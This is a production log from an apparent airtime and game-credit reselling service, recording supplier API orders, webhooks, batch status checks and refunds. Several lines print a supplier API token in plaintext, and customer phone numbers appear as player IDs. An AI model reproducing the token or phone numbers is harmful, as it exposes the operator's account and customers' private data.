[2026-03-24 14:56:39] production.INFO: Operation sent successfully {"operation_id":163708,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oavxT9G-1774353399","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 14:56:39"}},"processed_data":{"order_number":"ORD-oavxT9G-1774353399","amount":1.5226124999999999243271986415493302047252655029296875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 14:56:40] production.INFO: Constructing job for order: 178788  
[2026-03-24 14:56:42] production.INFO: Handling job for order: 178788  
[2026-03-24 14:56:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:56:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:56:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/49/params?qty=1&uuid=d8c8ff07-4285-4b98-b48c-cec0d4a507eb&Player_ID=0938069450  
[2026-03-24 14:56:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/49/params?qty=1&uuid=d8c8ff07-4285-4b98-b48c-cec0d4a507eb&Player_ID=0938069450","has_body":false} 
[2026-03-24 14:56:43] production.INFO: Operation sent successfully {"operation_id":163709,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-C8ZhrtWB-1774353403","amount":169.46802999999999883584678173065185546875,"status":"processing","product":"160.58 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:56:43"}},"processed_data":{"order_number":"ORD-C8ZhrtWB-1774353403","amount":169.46802999999999883584678173065185546875,"status":"processing","product":"160.58 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:57:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-oavxT9G-1774353399","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:57:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-oavxT9G-1774353399","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:57:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:57:15] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178787} 
[2026-03-24 14:57:15] production.INFO: Order updated successfully. Order ID: 178787, Status: completed  
[2026-03-24 14:57:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-oavxT9G-1774353399","status":"completed","codes_count":0} 
[2026-03-24 14:57:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 14:57:16] production.INFO: Constructing job for order: 178789  
[2026-03-24 14:57:19] production.INFO: Constructing job for order: 178790  
[2026-03-24 14:57:19] production.INFO: Handling job for order: 178789  
[2026-03-24 14:57:19] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:57:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:57:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=446df6f6-6aa3-4402-8209-19a0fc5c510f&Player_ID=0938069450  
[2026-03-24 14:57:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=446df6f6-6aa3-4402-8209-19a0fc5c510f&Player_ID=0938069450","has_body":false} 
[2026-03-24 14:57:20] production.INFO: Operation sent successfully {"operation_id":163710,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-psh8IX5-1774353440","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:57:20"}},"processed_data":{"order_number":"ORD-psh8IX5-1774353440","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:57:20] production.INFO: Handling job for order: 178790  
[2026-03-24 14:57:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:57:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:57:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=c0cc74da-5488-4884-9942-66544f4665fd&Player_ID=0949552498  
[2026-03-24 14:57:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=c0cc74da-5488-4884-9942-66544f4665fd&Player_ID=0949552498","has_body":false} 
[2026-03-24 14:57:20] production.INFO: Operation sent successfully {"operation_id":163711,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lXVrc-1774353440","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:57:20"}},"processed_data":{"order_number":"ORD-lXVrc-1774353440","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02"} 
[2026-03-24 14:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","total_operations":10,"sites_count":2} 
[2026-03-24 14:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 14:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 14:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-02K1dcVb-1774352275","operation_id":163682} 
[2026-03-24 14:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 14:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 14:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 14:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":0,"errors":0} 
[2026-03-24 14:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":6,"order_ids":["ORD-l3ngC-1774353257","ORD-CsoAcn-1774353367","ORD-Km8-1774353386","ORD-C8ZhrtWB-1774353403","ORD-psh8IX5-1774353440","ORD-lXVrc-1774353440"]} 
[2026-03-24 14:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 14:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":6} 
[2026-03-24 14:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 14:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"processed":5,"skipped":1,"updates_prepared":5} 
[2026-03-24 14:58:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"total_items":5,"chunks":1,"chunk_size":10} 
[2026-03-24 14:58:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"count":5} 
[2026-03-24 14:58:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"count":5} 
[2026-03-24 14:58:03] production.INFO: Bulk processed user refunds {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"count":1} 
[2026-03-24 14:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"user_id":1597,"notification_type":"order_approved","reference_id":178788} 
[2026-03-24 14:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"user_id":1597,"notification_type":"order_approved","reference_id":178785} 
[2026-03-24 14:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"user_id":1597,"notification_type":"order_approved","reference_id":178786} 
[2026-03-24 14:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"user_id":32,"notification_type":"order_rejected","reference_id":178790} 
[2026-03-24 14:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"user_id":1597,"notification_type":"order_approved","reference_id":178789} 
[2026-03-24 14:58:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"chunk_number":1,"processed":5,"errors":0,"total_operations":5,"total_orders":5,"total_codes":0,"total_refunds":1} 
[2026-03-24 14:58:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"total_processed":5,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:58:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"processed":5,"errors":0} 
[2026-03-24 14:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710,"processed":5,"errors":0} 
[2026-03-24 14:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"d82SG3X1GqoQB6R2tKHLgzsKhyJgk8ld","execution_time":"2026-03-24 14:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-psh8IX5-1774353440","operation_id":163710} 
[2026-03-24 14:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 14:58:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 14:58:18] production.INFO: Constructing job for order: 178791  
[2026-03-24 14:58:20] production.INFO: Handling job for order: 178791  
[2026-03-24 14:58:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:58:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:58:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/19/params?qty=1&uuid=1e849fe3-5fe1-4d20-baa0-c899f6cb9937&Player_ID=0968140772  
[2026-03-24 14:58:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/19/params?qty=1&uuid=1e849fe3-5fe1-4d20-baa0-c899f6cb9937&Player_ID=0968140772","has_body":false} 
[2026-03-24 14:58:21] production.INFO: Operation sent successfully {"operation_id":163712,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hArz-1774353501","amount":1055.336000000000012732925824820995330810546875,"status":"processing","product":"1000 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:58:21"}},"processed_data":{"order_number":"ORD-hArz-1774353501","amount":1055.336000000000012732925824820995330810546875,"status":"processing","product":"1000 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03"} 
[2026-03-24 15:00:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","total_operations":6,"sites_count":2} 
[2026-03-24 15:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-02K1dcVb-1774352275","ORD-djVT3-1774352434","ORD-UNx-1774352506","ORD-UPiF74u-1774352697"]} 
[2026-03-24 15:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 15:00:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 15:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-djVT3-1774352434","operation_id":163684} 
[2026-03-24 15:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UNx-1774352506","operation_id":163687} 
[2026-03-24 15:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 15:00:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 15:00:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:00:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"count":1} 
[2026-03-24 15:00:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"count":1} 
[2026-03-24 15:00:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"user_id":1540,"notification_type":"order_approved","reference_id":178761} 
[2026-03-24 15:00:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:00:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:00:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":1,"errors":0} 
[2026-03-24 15:00:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"processed":1,"errors":0} 
[2026-03-24 15:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":2,"order_ids":["ORD-l3ngC-1774353257","ORD-hArz-1774353501"]} 
[2026-03-24 15:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692} 
[2026-03-24 15:00:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UPiF74u-1774352697","operation_id":163692,"orders_count":2} 
[2026-03-24 15:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:00:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 15:00:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:00:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"count":1} 
[2026-03-24 15:00:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"count":1} 
[2026-03-24 15:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"user_id":5,"notification_type":"order_approved","reference_id":178791} 
[2026-03-24 15:00:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:00:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:00:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":1,"errors":0} 
[2026-03-24 15:00:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":1,"errors":0} 
[2026-03-24 15:00:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"7jeJhnzPzzmIrlKQ7QwrKuDdeN3LS2RA","execution_time":"2026-03-24 15:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 15:00:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 15:00:06] production.INFO: async() رجع: true  
[2026-03-24 15:00:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:00:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:00:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:00:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:00:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
